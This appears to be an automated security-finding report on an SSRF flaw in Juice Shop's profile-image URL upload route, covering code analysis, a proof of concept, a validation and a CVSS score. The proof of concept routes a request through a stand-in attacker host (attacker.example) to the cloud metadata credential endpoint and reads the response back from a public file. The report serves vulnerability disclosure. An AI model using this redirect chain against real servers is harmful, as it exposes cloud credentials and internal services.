agentggagentgg
Back to all findings
HIGHconfirmeduntrusted-redirect-followinguntrusted-redirect-following7e93844f978c

SSRF via fetch() that follows redirects with caller-controlled URL

`profileImageUrlUpload` calls `fetch(req.body.imageUrl)` with no allowlist and the WHATWG fetch default `redirect: "follow"`, so an attacker can point the server at any host (and chain through redirects to internal targets such as cloud metadata services).

Fileroutes/profileImageUrlUpload.ts
Lines2427
Confidence
90%
File statusvalidated
Details

In routes/profileImageUrlUpload.ts the imageUrl is taken directly from the request body and fetched server-side with no validation of host, scheme, or final destination:

const url = req.body.imageUrl
// ...
const response = await fetch(url)

Three problems compound here:

  1. There is no allowlist / scheme check on url before issuing the request — the call accepts http://169.254.169.254/..., file://, internal http://localhost:*/admin endpoints, etc.
  2. fetch() defaults to redirect: "follow". Even if a defender later added an initial-hostname allowlist, an attacker-controlled origin could redirect to an internal target and fetch would silently follow — the brief's exact bypass pattern. No redirect: "manual" or redirect: "error" option is supplied here.
  3. The response body is streamed to disk and the eventual profileImage URL is what the user supplied, so the attacker can both probe internal services (timing/size differences leak data) and trigger arbitrary outbound HTTP from the server.

The fallback catch block also stores the raw URL in the database (user.update({ profileImage: url })), which converts the SSRF into a stored credential leak / phishing/redirect surface for future profile renders.

Proof of concept
  1. Authenticate to obtain a valid token cookie.
  2. POST /profile/image/url with body { "imageUrl": "http://attacker.example/redir" } where attacker.example/redir responds with 302 Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/.
  3. The server follows the redirect (default redirect: "follow") and writes the cloud-metadata response into frontend/dist/frontend/assets/public/images/uploads/<userId>.jpg, which is then served back to the attacker via /assets/public/images/uploads/<userId>.jpg.
Impact

Authenticated attacker can use the server as an SSRF proxy: probe internal services, hit cloud metadata endpoints, exfiltrate response bodies into a publicly-served static file, or escape host-allowlist defenses by redirecting through an attacker-controlled origin.

Validation
confirmed

The code at line 24 (const response = await fetch(url)) passes req.body.imageUrl directly to fetch with no scheme/host allowlist and no redirect option, so WHATWG fetch defaults to redirect: "follow". Only an authenticated session is required (the security.authenticatedUsers.get check), and the response body is streamed to a publicly-served path under frontend/dist/.../uploads/${userId}.${ext}, enabling exfiltration of internal/metadata responses. The catch fallback additionally persists the raw URL into profileImage, broadening impact. Per the scope's framing, the intentionally-vulnerable nature of Juice Shop is not a reason to dismiss this real SSRF.

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Base score: 8.5 · HIGH

The endpoint is reachable over HTTP (AV:N) and the only gate is security.authenticatedUsers.get(req.cookies.token) returning a logged-in user, so any low-privilege authenticated user can trigger the sink (PR:L); no victim action is needed (UI:N) and exploitation is a single direct request (AC:L). The fetch(url) call with default redirect: "follow" and no allowlist lets the attacker reach a different security authority — internal services like http://169.254.169.254/... cloud-metadata or localhost admin endpoints — and the body is streamed to a publicly-served file under /assets/public/images/uploads/, which is a clear scope change (S:C) with full disclosure of internal/credential responses (C:H). Integrity is L because the attacker can trigger arbitrary outbound GETs and store an attacker-controlled URL as profileImage in the fallback catch (stored redirect/phishing surface), but cannot freely modify arbitrary backend data; availability impact is negligible (A:N).

References